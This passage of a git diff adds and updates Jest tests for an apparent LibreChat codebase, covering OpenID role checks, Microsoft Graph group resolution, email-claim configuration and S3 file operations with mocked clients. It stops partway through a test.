require('openid-client/passport').__getVerifyCallbackByName('openid'); + + const { user, details } = await validate(tokenset); + + expect(undici.fetch).not.toHaveBeenCalled(); + expect(user).toBe(false); + expect(details.message).toBe('You must have "group-required" role to log in.'); + const { logger } = require('@librechat/data-schemas'); + const expectedTokenKind = cfg.kind === 'access' ? 'access token' : 'id token'; + expect(logger.error).toHaveBeenCalledWith( + expect.stringContaining(`Key '${cfg.path}' not found in ${expectedTokenKind}!`), + ); + }); + }); + + describe('resolving groups via Microsoft Graph', () => { + it('denies login and does not call Graph when access token is missing', async () => { + process.env.OPENID_REQUIRED_ROLE = 'group-required'; + process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'groups'; + process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id'; + + const { logger } = require('@librechat/data-schemas'); + + jwtDecode.mockReturnValue({ + hasgroups: true, + permissions: ['admin'], + }); + + await setupOpenId(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); + + const tokensetWithoutAccess = { + ...tokenset, + access_token: undefined, + }; + + const { user, details } = await validate(tokensetWithoutAccess); + + expect(user).toBe(false); + expect(details.message).toBe('You must have "group-required" role to log in.'); + + expect(undici.fetch).not.toHaveBeenCalled(); + expect(logger.error).toHaveBeenCalledWith( + expect.stringContaining('Access token missing; cannot resolve group overage'), + ); + }); + + it.each([ + [ + 'Graph returns HTTP error', + async () => ({ + ok: false, + status: 403, + statusText: 'Forbidden', + json: async () => ({}), + }), + [ + '[openidStrategy] Failed to resolve groups via Microsoft Graph getMemberObjects: HTTP 403 Forbidden', + ], + ], + [ + 'Graph network error', + async () => { + throw new Error('network error'); + }, + [ + '[openidStrategy] Error resolving groups via Microsoft Graph getMemberObjects:', + expect.any(Error), + ], + ], + [ + 'Graph returns unexpected shape (no value)', + async () => ({ + ok: true, + status: 200, + statusText: 'OK', + json: async () => ({}), + }), + [ + '[openidStrategy] Unexpected response format when resolving groups via Microsoft Graph getMemberObjects', + ], + ], + [ + 'Graph returns invalid value type', + async () => ({ + ok: true, + status: 200, + statusText: 'OK', + json: async () => ({ value: 'not-an-array' }), + }), + [ + '[openidStrategy] Unexpected response format when resolving groups via Microsoft Graph getMemberObjects', + ], + ], + ])( + 'denies login when overage resolution fails because %s', + async (_label, setupFetch, expectedErrorArgs) => { + process.env.OPENID_REQUIRED_ROLE = 'group-required'; + process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'groups'; + process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id'; + + const { logger } = require('@librechat/data-schemas'); + + jwtDecode.mockReturnValue({ + hasgroups: true, + permissions: ['admin'], + }); + + await setupOpenId(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); + + undici.fetch.mockImplementation(setupFetch); + + const { user, details } = await validate(tokenset); + + expect(undici.fetch).toHaveBeenCalled(); + expect(user).toBe(false); + expect(details.message).toBe('You must have "group-required" role to log in.'); + + expect(logger.error).toHaveBeenCalledWith(...expectedErrorArgs); + }, + ); + + it.each([ + [ + 'hasgroups overage and Graph contains required group', + { + hasgroups: true, + }, + ['group-required', 'some-other-group'], + true, + ], + [ + '_claim_* overage and Graph contains required group', + { + _claim_names: { groups: 'src1' }, + _claim_sources: { src1: { endpoint: 'https://graph.windows.net/ignored' } }, + }, + ['group-required', 'some-other-group'], + true, + ], + [ + 'hasgroups overage and Graph does NOT contain required group', + { + hasgroups: true, + }, + ['some-other-group'], + false, + ], + [ + '_claim_* overage and Graph does NOT contain required group', + { + _claim_names: { groups: 'src1' }, + _claim_sources: { src1: { endpoint: 'https://graph.windows.net/ignored' } }, + }, + ['some-other-group'], + false, + ], + ])( + 'resolves groups via Microsoft Graph when %s', + async (_label, decodedTokenValue, graphGroups, expectedAllowed) => { + process.env.OPENID_REQUIRED_ROLE = 'group-required'; + process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'groups'; + process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id'; + + const { logger } = require('@librechat/data-schemas'); + + jwtDecode.mockReturnValue(decodedTokenValue); + + await setupOpenId(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); + + undici.fetch.mockResolvedValue({ + ok: true, + status: 200, + statusText: 'OK', + json: async () => ({ + value: graphGroups, + }), + }); + + const { user } = await validate(tokenset); + + expect(undici.fetch).toHaveBeenCalledWith( + 'https://graph.microsoft.com/v1.0/me/getMemberObjects', + expect.objectContaining({ + method: 'POST', + headers: expect.objectContaining({ + Authorization: `Bearer ${tokenset.access_token}`, + }), + }), + ); + expect(Boolean(user)).toBe(expectedAllowed); + + expect(logger.debug).toHaveBeenCalledWith( + expect.stringContaining( + `Successfully resolved ${graphGroups.length} groups via Microsoft Graph getMemberObjects`, + ), + ); + }, + ); + }); + it('should attempt to download and save the avatar if picture is provided', async () => { // Act const { user } = await validate(tokenset); @@ -389,7 +772,7 @@ describe('setupOpenId', () => { // Arrange process.env.OPENID_REQUIRED_ROLE = 'someRole,anotherRole,admin'; await setupOpenId(); // Re-initialize the strategy - verifyCallback = require('openid-client/passport').__getVerifyCallback(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); jwtDecode.mockReturnValue({ roles: ['anotherRole', 'aThirdRole'], }); @@ -406,7 +789,7 @@ describe('setupOpenId', () => { // Arrange process.env.OPENID_REQUIRED_ROLE = 'someRole,anotherRole,admin'; await setupOpenId(); // Re-initialize the strategy - verifyCallback = require('openid-client/passport').__getVerifyCallback(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); jwtDecode.mockReturnValue({ roles: ['aThirdRole', 'aFourthRole'], }); @@ -425,7 +808,7 @@ describe('setupOpenId', () => { // Arrange process.env.OPENID_REQUIRED_ROLE = ' someRole , anotherRole , admin '; await setupOpenId(); // Re-initialize the strategy - verifyCallback = require('openid-client/passport').__getVerifyCallback(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); jwtDecode.mockReturnValue({ roles: ['someRole'], }); @@ -449,10 +832,11 @@ describe('setupOpenId', () => { }); it('should attach federatedTokens to user object for token propagation', async () => { - // Arrange - setup tokenset with access token, refresh token, and expiration + // Arrange - setup tokenset with access token, id token, refresh token, and expiration const tokensetWithTokens = { ...tokenset, access_token: 'mock_access_token_abc123', + id_token: 'mock_id_token_def456', refresh_token: 'mock_refresh_token_xyz789', expires_at: 1234567890, }; @@ -464,16 +848,37 @@ describe('setupOpenId', () => { expect(user.federatedTokens).toBeDefined(); expect(user.federatedTokens).toEqual({ access_token: 'mock_access_token_abc123', + id_token: 'mock_id_token_def456', refresh_token: 'mock_refresh_token_xyz789', expires_at: 1234567890, }); }); + it('should include id_token in federatedTokens distinct from access_token', async () => { + // Arrange - use different values for access_token and id_token + const tokensetWithTokens = { + ...tokenset, + access_token: 'the_access_token', + id_token: 'the_id_token', + refresh_token: 'the_refresh_token', + expires_at: 9999999999, + }; + + // Act + const { user } = await validate(tokensetWithTokens); + + // Assert - id_token and access_token must be different values + expect(user.federatedTokens.access_token).toBe('the_access_token'); + expect(user.federatedTokens.id_token).toBe('the_id_token'); + expect(user.federatedTokens.id_token).not.toBe(user.federatedTokens.access_token); + }); + it('should include tokenset along with federatedTokens', async () => { // Arrange const tokensetWithTokens = { ...tokenset, access_token: 'test_access_token', + id_token: 'test_id_token', refresh_token: 'test_refresh_token', expires_at: 9999999999, }; @@ -485,7 +890,9 @@ describe('setupOpenId', () => { expect(user.tokenset).toBeDefined(); expect(user.federatedTokens).toBeDefined(); expect(user.tokenset.access_token).toBe('test_access_token'); + expect(user.tokenset.id_token).toBe('test_id_token'); expect(user.federatedTokens.access_token).toBe('test_access_token'); + expect(user.federatedTokens.id_token).toBe('test_id_token'); }); it('should set role to "ADMIN" if OPENID_ADMIN_ROLE is set and user has that role', async () => { @@ -560,7 +967,7 @@ describe('setupOpenId', () => { delete process.env.OPENID_ADMIN_ROLE_TOKEN_KIND; await setupOpenId(); - verifyCallback = require('openid-client/passport').__getVerifyCallback(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); // Simulate an existing admin user const existingAdminUser = { @@ -611,7 +1018,7 @@ describe('setupOpenId', () => { }); await setupOpenId(); - verifyCallback = require('openid-client/passport').__getVerifyCallback(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); const { user } = await validate(tokenset); @@ -634,7 +1041,7 @@ describe('setupOpenId', () => { }); await setupOpenId(); - verifyCallback = require('openid-client/passport').__getVerifyCallback(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); const { user } = await validate(tokenset); @@ -655,14 +1062,12 @@ describe('setupOpenId', () => { }); await setupOpenId(); - verifyCallback = require('openid-client/passport').__getVerifyCallback(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); const { user, details } = await validate(tokenset); expect(logger.error).toHaveBeenCalledWith( - expect.stringContaining( - "Key 'resource_access.nonexistent.roles' not found or invalid type in id token!", - ), + expect.stringContaining("Key 'resource_access.nonexistent.roles' not found in id token!"), ); expect(user).toBe(false); expect(details.message).toContain('role to log in'); @@ -680,12 +1085,12 @@ describe('setupOpenId', () => { }); await setupOpenId(); - verifyCallback = require('openid-client/passport').__getVerifyCallback(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); const { user } = await validate(tokenset); expect(logger.error).toHaveBeenCalledWith( - expect.stringContaining("Key 'org.team.roles' not found or invalid type in id token!"), + expect.stringContaining("Key 'org.team.roles' not found in id token!"), ); expect(user).toBe(false); }); @@ -709,7 +1114,7 @@ describe('setupOpenId', () => { }); await setupOpenId(); - verifyCallback = require('openid-client/passport').__getVerifyCallback(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); const { user } = await validate(tokenset); @@ -739,7 +1144,7 @@ describe('setupOpenId', () => { }); await setupOpenId(); - verifyCallback = require('openid-client/passport').__getVerifyCallback(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); const { user } = await validate({ ...tokenset, @@ -759,7 +1164,7 @@ describe('setupOpenId', () => { }); await setupOpenId(); - verifyCallback = require('openid-client/passport').__getVerifyCallback(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); const { user } = await validate(tokenset); @@ -776,7 +1181,7 @@ describe('setupOpenId', () => { }); await setupOpenId(); - verifyCallback = require('openid-client/passport').__getVerifyCallback(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); const { user } = await validate(tokenset); @@ -793,7 +1198,7 @@ describe('setupOpenId', () => { }); await setupOpenId(); - verifyCallback = require('openid-client/passport').__getVerifyCallback(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); const { user } = await validate(tokenset); @@ -810,7 +1215,7 @@ describe('setupOpenId', () => { }); await setupOpenId(); - verifyCallback = require('openid-client/passport').__getVerifyCallback(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); const { user } = await validate(tokenset); @@ -827,13 +1232,53 @@ describe('setupOpenId', () => { }); await setupOpenId(); - verifyCallback = require('openid-client/passport').__getVerifyCallback(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); const { user } = await validate(tokenset); expect(user.role).toBeUndefined(); }); + it('should grant admin when admin role claim is a space-separated string containing the admin role', async () => { + // Arrange – IdP returns admin roles as a space-delimited string + process.env.OPENID_ADMIN_ROLE = 'site-admin'; + process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH = 'app_roles'; + + jwtDecode.mockReturnValue({ + roles: ['requiredRole'], + app_roles: 'user site-admin moderator', + }); + + await setupOpenId(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); + + // Act + const { user } = await validate(tokenset); + + // Assert – admin role is granted after splitting the delimited string + expect(user.role).toBe('ADMIN'); + }); + + it('should not grant admin when admin role claim is a space-separated string that does not contain the admin role', async () => { + // Arrange – delimited string present but admin role is absent + process.env.OPENID_ADMIN_ROLE = 'site-admin'; + process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH = 'app_roles'; + + jwtDecode.mockReturnValue({ + roles: ['requiredRole'], + app_roles: 'user moderator', + }); + + await setupOpenId(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); + + // Act + const { user } = await validate(tokenset); + + // Assert – admin role is not granted + expect(user.role).toBeUndefined(); + }); + it('should handle nested path with special characters in keys', async () => { process.env.OPENID_REQUIRED_ROLE = 'app-user'; process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'resource_access.my-app-123.roles'; @@ -847,7 +1292,7 @@ describe('setupOpenId', () => { }); await setupOpenId(); - verifyCallback = require('openid-client/passport').__getVerifyCallback(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); const { user } = await validate(tokenset); @@ -864,12 +1309,12 @@ describe('setupOpenId', () => { }); await setupOpenId(); - verifyCallback = require('openid-client/passport').__getVerifyCallback(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); const { user } = await validate(tokenset); expect(logger.error).toHaveBeenCalledWith( - expect.stringContaining("Key 'access.roles' not found or invalid type in id token!"), + expect.stringContaining("Key 'access.roles' not found in id token!"), ); expect(user).toBe(false); }); @@ -884,12 +1329,12 @@ describe('setupOpenId', () => { }); await setupOpenId(); - verifyCallback = require('openid-client/passport').__getVerifyCallback(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); const { user } = await validate(tokenset); expect(logger.error).toHaveBeenCalledWith( - expect.stringContaining("Key 'data.roles' not found or invalid type in id token!"), + expect.stringContaining("Key 'data.roles' not found in id token!"), ); expect(user).toBe(false); }); @@ -906,7 +1351,7 @@ describe('setupOpenId', () => { }); await setupOpenId(); - verifyCallback = require('openid-client/passport').__getVerifyCallback(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); await expect(validate(tokenset)).rejects.toThrow('Invalid admin role token kind'); @@ -927,12 +1372,12 @@ describe('setupOpenId', () => { }); await setupOpenId(); - verifyCallback = require('openid-client/passport').__getVerifyCallback(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); const { user, details } = await validate(tokenset); expect(logger.error).toHaveBeenCalledWith( - expect.stringContaining("Key 'roles' not found or invalid type in id token!"), + expect.stringContaining("Key 'roles' not found in id token!"), ); expect(user).toBe(false); expect(details.message).toContain('role to log in'); @@ -948,14 +1393,92 @@ describe('setupOpenId', () => { }); await setupOpenId(); - verifyCallback = require('openid-client/passport').__getVerifyCallback(); + verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid'); const { user } = await validate(tokenset); expect(logger.error).toHaveBeenCalledWith( - expect.stringContaining("Key 'roleCount' not found or invalid type in id token!"), + expect.stringContaining("Key 'roleCount' not found in id token!"), ); expect(user).toBe(false); }); }); + + describe('OPENID_EMAIL_CLAIM', () => { + it('should use the default email when OPENID_EMAIL_CLAIM is not set', async () => { + const { user } = await validate(tokenset); + expect(user.email).toBe('test@example.com'); + }); + + it('should use the configured claim when OPENID_EMAIL_CLAIM is set', async () => { + process.env.OPENID_EMAIL_CLAIM = 'upn'; + const userinfo = { ...tokenset.claims(), upn: 'user@corp.example.com' }; + + const { user } = await validate({ ...tokenset, claims: () => userinfo }); + + expect(user.email).toBe('user@corp.example.com'); + expect(createUser).toHaveBeenCalledWith( + expect.objectContaining({ email: 'user@corp.example.com' }), + expect.anything(), + true, + true, + ); + }); + + it('should fall back to preferred_username when email is missing and OPENID_EMAIL_CLAIM is not set', async () => { + const userinfo = { ...tokenset.claims() }; + delete userinfo.email; + + const { user } = await validate({ ...tokenset, claims: () => userinfo }); + + expect(user.email).toBe('testusername'); + }); + + it('should fall back to upn when email and preferred_username are missing and OPENID_EMAIL_CLAIM is not set', async () => { + const userinfo = { ...tokenset.claims(), upn: 'user@corp.example.com' }; + delete userinfo.email; + delete userinfo.preferred_username; + + const { user } = await validate({ ...tokenset, claims: () => userinfo }); + + expect(user.email).toBe('user@corp.example.com'); + }); + + it('should ignore empty string OPENID_EMAIL_CLAIM and use default fallback', async () => { + process.env.OPENID_EMAIL_CLAIM = ''; + + const { user } = await validate(tokenset); + + expect(user.email).toBe('test@example.com'); + }); + + it('should trim whitespace from OPENID_EMAIL_CLAIM and resolve correctly', async () => { + process.env.OPENID_EMAIL_CLAIM = ' upn '; + const userinfo = { ...tokenset.claims(), upn: 'user@corp.example.com' }; + + const { user } = await validate({ ...tokenset, claims: () => userinfo }); + + expect(user.email).toBe('user@corp.example.com'); + }); + + it('should ignore whitespace-only OPENID_EMAIL_CLAIM and use default fallback', async () => { + process.env.OPENID_EMAIL_CLAIM = ' '; + + const { user } = await validate(tokenset); + + expect(user.email).toBe('test@example.com'); + }); + + it('should fall back to default chain with warning when configured claim is missing from userinfo', async () => { + const { logger } = require('@librechat/data-schemas'); + process.env.OPENID_EMAIL_CLAIM = 'nonexistent_claim'; + + const { user } = await validate(tokenset); + + expect(user.email).toBe('test@example.com'); + expect(logger.warn).toHaveBeenCalledWith( + expect.stringContaining('OPENID_EMAIL_CLAIM="nonexistent_claim" not present in userinfo'), + ); + }); + }); }); diff --git a/api/strategies/samlStrategy.spec.js b/api/strategies/samlStrategy.spec.js index 06c969ce46..1d16719b87 100644 --- a/api/strategies/samlStrategy.spec.js +++ b/api/strategies/samlStrategy.spec.js @@ -1,5 +1,4 @@ // --- Mocks --- -jest.mock('tiktoken'); jest.mock('fs'); jest.mock('path'); jest.mock('node-fetch'); diff --git a/api/test/services/Files/S3/crud.test.js b/api/test/services/Files/S3/crud.test.js new file mode 100644 index 0000000000..c7b46fba4c --- /dev/null +++ b/api/test/services/Files/S3/crud.test.js @@ -0,0 +1,876 @@ +const fs = require('fs'); +const fetch = require('node-fetch'); +const { Readable } = require('stream'); +const { FileSources } = require('librechat-data-provider'); +const { + PutObjectCommand, + GetObjectCommand, + HeadObjectCommand, + DeleteObjectCommand, +} = require('@aws-sdk/client-s3'); +const { getSignedUrl } = require('@aws-sdk/s3-request-presigner'); + +// Mock dependencies +jest.mock('fs'); +jest.mock('node-fetch'); +jest.mock('@aws-sdk/s3-request-presigner'); +jest.mock('@aws-sdk/client-s3'); + +jest.mock('@librechat/api', () => ({ + initializeS3: jest.fn(), + deleteRagFile: jest.fn().mockResolvedValue(undefined), + isEnabled: jest.fn((val) => val === 'true'), +})); + +jest.mock('@librechat/data-schemas', () => ({ + logger: { + debug: jest.fn(), + info: jest.fn(), + warn: jest.fn(), + error: jest.fn(), + }, +})); + +const { initializeS3, deleteRagFile } = require('@librechat/api'); +const { logger } = require('@librechat/data-schemas'); + +// Set env vars before requiring crud so module-level constants pick them up +process.env.AWS_BUCKET_NAME = 'test-bucket'; +process.env.S3_URL_EXPIRY_SECONDS = '120'; + +const { + saveBufferToS3, + saveURLToS3, + getS3URL, + deleteFileFromS3, + uploadFileToS3, + getS3FileStream, + refreshS3FileUrls, + refreshS3Url, + needsRefresh, + getNewS3URL, + extractKeyFromS3Url, +} = require('~/server/services/Files/S3/crud'); + +describe('S3 CRUD Operations', () => { + let mockS3Client; + + beforeEach(() => { + jest.clearAllMocks(); + + // Setup mock S3 client + mockS3Client = { + send: jest.fn(), + }; + initializeS3.mockReturnValue(mockS3Client); + }); + + afterEach(() => { + delete process.env.S3_URL_EXPIRY_SECONDS; + delete process.env.S3_REFRESH_EXPIRY_MS; + delete process.env.AWS_BUCKET_NAME; + }); + + describe('saveBufferToS3', () => { + it('should upload a buffer to S3 and return a signed URL', async () => { + const mockBuffer = Buffer.from('test data'); + const mockSignedUrl = + 'https://s3.amazonaws.com/test-bucket/images/user123/test.jpg?signature=abc'; + + mockS3Client.send.mockResolvedValue({}); + getSignedUrl.mockResolvedValue(mockSignedUrl); + + const result = await saveBufferToS3({ + userId: 'user123', + buffer: mockBuffer, + fileName: 'test.jpg', + basePath: 'images', + }); + + expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(PutObjectCommand)); + expect(result).toBe(mockSignedUrl); + }); + + it('should use default basePath if not provided', async () => { + const mockBuffer = Buffer.from('test data'); + const mockSignedUrl = + 'https://s3.amazonaws.com/test-bucket/images/user123/test.jpg?signature=abc'; + + mockS3Client.send.mockResolvedValue({}); + getSignedUrl.mockResolvedValue(mockSignedUrl); + + await saveBufferToS3({ + userId: 'user123', + buffer: mockBuffer, + fileName: 'test.jpg', + }); + + expect(getSignedUrl).toHaveBeenCalled(); + }); + + it('should handle S3 upload errors', async () => { + const mockBuffer = Buffer.from('test data'); + const error = new Error('S3 upload failed'); + + mockS3Client.send.mockRejectedValue(error); + + await expect( + saveBufferToS3({ + userId: 'user123', + buffer: mockBuffer, + fileName: 'test.jpg', + }), + ).rejects.toThrow('S3 upload failed'); + + expect(logger.error).toHaveBeenCalledWith( + '[saveBufferToS3] Error uploading buffer to S3:', + 'S3 upload failed', + ); + }); + }); + + describe('getS3URL', () => { + it('should return a signed URL for a file', async () => { + const mockSignedUrl = + 'https://s3.amazonaws.com/test-bucket/images/user123/file.pdf?signature=xyz'; + getSignedUrl.mockResolvedValue(mockSignedUrl); + + const result = await getS3URL({ + userId: 'user123', + fileName: 'file.pdf', + basePath: 'documents', + }); + + expect(result).toBe(mockSignedUrl); + expect(getSignedUrl).toHaveBeenCalledWith( + mockS3Client, + expect.any(GetObjectCommand), + expect.objectContaining({ expiresIn: 120 }), + ); + }); + + it('should add custom filename to Content-Disposition header', async () => { + const mockSignedUrl = + 'https://s3.amazonaws.com/test-bucket/images/user123/file.pdf?signature=xyz'; + getSignedUrl.mockResolvedValue(mockSignedUrl); + + await getS3URL({ + userId: 'user123', + fileName: 'file.pdf', + customFilename: 'custom-name.pdf', + }); + + expect(getSignedUrl).toHaveBeenCalled(); + }); + + it('should add custom content type', async () => { + const mockSignedUrl = + 'https://s3.amazonaws.com/test-bucket/images/user123/file.pdf?signature=xyz'; + getSignedUrl.mockResolvedValue(mockSignedUrl); + + await getS3URL({ + userId: 'user123', + fileName: 'file.pdf', + contentType: 'application/pdf', + }); + + expect(getSignedUrl).toHaveBeenCalled(); + }); + + it('should handle errors when getting signed URL', async () => { + const error = new Error('Failed to sign URL'); + getSignedUrl.mockRejectedValue(error); + + await expect( + getS3URL({ + userId: 'user123', + fileName: 'file.pdf', + }), + ).rejects.toThrow('Failed to sign URL'); + + expect(logger.error).toHaveBeenCalledWith( + '[getS3URL] Error getting signed URL from S3:', + 'Failed to sign URL', + ); + }); + }); + + describe('saveURLToS3', () => { + it('should fetch a file from URL and save to S3', async () => { + const mockBuffer = Buffer.from('downloaded data'); + const mockResponse = { + buffer: jest.fn().mockResolvedValue(mockBuffer), + }; + const mockSignedUrl = + 'https://s3.amazonaws.com/test-bucket/images/user123/downloaded.jpg?signature=abc'; + + fetch.mockResolvedValue(mockResponse); + mockS3Client.send.mockResolvedValue({}); + getSignedUrl.mockResolvedValue(mockSignedUrl); + + const result = await saveURLToS3({ + userId: 'user123', + URL: 'https://example.com/image.jpg', + fileName: 'downloaded.jpg', + }); + + expect(fetch).toHaveBeenCalledWith('https://example.com/image.jpg'); + expect(mockS3Client.send).toHaveBeenCalled(); + expect(result).toBe(mockSignedUrl); + }); + + it('should handle fetch errors', async () => { + const error = new Error('Network error'); + fetch.mockRejectedValue(error); + + await expect( + saveURLToS3({ + userId: 'user123', + URL: 'https://example.com/image.jpg', + fileName: 'downloaded.jpg', + }), + ).rejects.toThrow('Network error'); + + expect(logger.error).toHaveBeenCalled(); + }); + }); + + describe('deleteFileFromS3', () => { + const mockReq = { + user: { id: 'user123' }, + }; + + it('should delete a file from S3', async () => { + const mockFile = { + filepath: 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg', + file_id: 'file123', + }; + + // Mock HeadObject to verify file exists + mockS3Client.send + .mockResolvedValueOnce({}) // First HeadObject - exists + .mockResolvedValueOnce({}) // DeleteObject + .mockRejectedValueOnce({ name: 'NotFound' }); // Second HeadObject - deleted + + await deleteFileFromS3(mockReq, mockFile); + + expect(deleteRagFile).toHaveBeenCalledWith({ userId: 'user123', file: mockFile }); + expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(HeadObjectCommand)); + expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(DeleteObjectCommand)); + }); + + it('should handle file not found gracefully', async () => { + const mockFile = { + filepath: 'https://s3.amazonaws.com/test-bucket/images/user123/nonexistent.jpg', + file_id: 'file123', + }; + + mockS3Client.send.mockRejectedValue({ name: 'NotFound' }); + + await deleteFileFromS3(mockReq, mockFile); + + expect(logger.warn).toHaveBeenCalled(); + }); + + it('should throw error if user ID does not match', async () => { + const mockFile = { + filepath: 'https://s3.amazonaws.com/test-bucket/images/different-user/file.jpg', + file_id: 'file123', + }; + + await expect(deleteFileFromS3(mockReq, mockFile)).rejects.toThrow('User ID mismatch'); + expect(logger.error).toHaveBeenCalled(); + }); + + it('should handle NoSuchKey error', async () => { + const mockFile = { + filepath: 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg', + file_id: 'file123', + }; + + mockS3Client.send + .mockResolvedValueOnce({}) // HeadObject - exists + .mockRejectedValueOnce({ code: 'NoSuchKey' }); // DeleteObject fails + + await deleteFileFromS3(mockReq, mockFile); + + expect(logger.debug).toHaveBeenCalled(); + }); + }); + + describe('uploadFileToS3', () => { + const mockReq = { + user: { id: 'user123' }, + }; + + it('should upload a file from disk to S3', async () => { + const mockFile = { + path: '/tmp/upload.jpg', + originalname: 'photo.jpg', + }; + const mockStats = { size: 1024 }; + const mockSignedUrl = + 'https://s3.amazonaws.com/test-bucket/images/user123/file123__photo.jpg?signature=xyz'; + + fs.promises = { stat: jest.fn().mockResolvedValue(mockStats) }; + fs.createReadStream = jest.fn().mockReturnValue(new Readable()); + mockS3Client.send.mockResolvedValue({}); + getSignedUrl.mockResolvedValue(mockSignedUrl); + + const result = await uploadFileToS3({ + req: mockReq, + file: mockFile, + file_id: 'file123', + basePath: 'images', + }); + + expect(result).toEqual({ + filepath: mockSignedUrl, + bytes: 1024, + }); + expect(fs.createReadStream).toHaveBeenCalledWith('/tmp/upload.jpg'); + expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(PutObjectCommand)); + }); + + it('should handle upload errors and clean up temp file', async () => { + const mockFile = { + path: '/tmp/upload.jpg', + originalname: 'photo.jpg', + }; + const error = new Error('Upload failed'); + + fs.promises = { + stat: jest.fn().mockResolvedValue({ size: 1024 }), + unlink: jest.fn().mockResolvedValue(), + }; + fs.createReadStream = jest.fn().mockReturnValue(new Readable()); + mockS3Client.send.mockRejectedValue(error); + + await expect( + uploadFileToS3({ + req: mockReq, + file: mockFile, + file_id: 'file123', + }), + ).rejects.toThrow('Upload failed'); + + expect(logger.error).toHaveBeenCalledWith( + '[uploadFileToS3] Error streaming file to S3:', + error, + ); + }); + }); + + describe('getS3FileStream', () => { + it('should return a readable stream for a file', async () => { + const mockStream = new Readable(); + const mockResponse = { Body: mockStream }; + + mockS3Client.send.mockResolvedValue(mockResponse); + + const result = await getS3FileStream( + {}, + 'https://s3.amazonaws.com/test-bucket/images/user123/file.pdf', + ); + + expect(result).toBe(mockStream); + expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(GetObjectCommand)); + }); + + it('should handle errors when retrieving stream', async () => { + const error = new Error('Stream error'); + mockS3Client.send.mockRejectedValue(error); + + await expect(getS3FileStream({}, 'images/user123/file.pdf')).rejects.toThrow('Stream error'); + expect(logger.error).toHaveBeenCalled(); + }); + }); + + describe('needsRefresh', () => { + it('should return false for non-signed URLs', () => { + const url = 'https://example.com/proxy/file.jpg'; + const result = needsRefresh(url, 3600); + expect(result).toBe(false); + }); + + it('should return true for expired signed URLs', () => { + const now = new Date(); + const past = new Date(now.getTime() - 3600 * 1000); // 1 hour ago + const dateStr = past + .toISOString() + .replace(/[-:]/g, '') + .replace(/\.\d{3}/, ''); + + const url = `https://s3.amazonaws.com/bucket/key?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`; + const result = needsRefresh(url, 60); + expect(result).toBe(true); + }); + + it('should return false for URLs that are not close to expiration', () => { + const now = new Date(); + const recent = new Date(now.getTime() - 10 * 1000); // 10 seconds ago + const dateStr = recent + .toISOString() + .replace(/[-:]/g, '') + .replace(/\.\d{3}/, ''); + + const url = `https://s3.amazonaws.com/bucket/key?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=7200`; + const result = needsRefresh(url, 60); + expect(result).toBe(false); + }); + + it('should use custom refresh expiry when S3_REFRESH_EXPIRY_MS is set', () => { + process.env.S3_REFRESH_EXPIRY_MS = '30000'; // 30 seconds + + const now = new Date(); + const recent = new Date(now.getTime() - 31 * 1000); // 31 seconds ago + const dateStr = recent + .toISOString() + .replace(/[-:]/g, '') + .replace(/\.\d{3}/, ''); + + const url = `https://s3.amazonaws.com/bucket/key?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=7200`; + + // Need to reload the module to pick up the env var change + jest.resetModules(); + const { needsRefresh: needsRefreshReloaded } = require('~/server/services/Files/S3/crud'); + + const result = needsRefreshReloaded(url, 60); + expect(result).toBe(true); + }); + + it('should return true for malformed URLs', () => { + const url = 'not-a-valid-url'; + const result = needsRefresh(url, 3600); + expect(result).toBe(true); + }); + }); + + describe('getNewS3URL', () => { + it('should generate a new URL from an existing S3 URL', async () => { + const currentURL = + 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg?signature=old'; + const newURL = 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg?signature=new'; + + getSignedUrl.mockResolvedValue(newURL); + + const result = await getNewS3URL(currentURL); + + expect(result).toBe(newURL); + expect(getSignedUrl).toHaveBeenCalled(); + }); + + it('should return undefined for invalid URLs', async () => { + const result = await getNewS3URL('invalid-url'); + 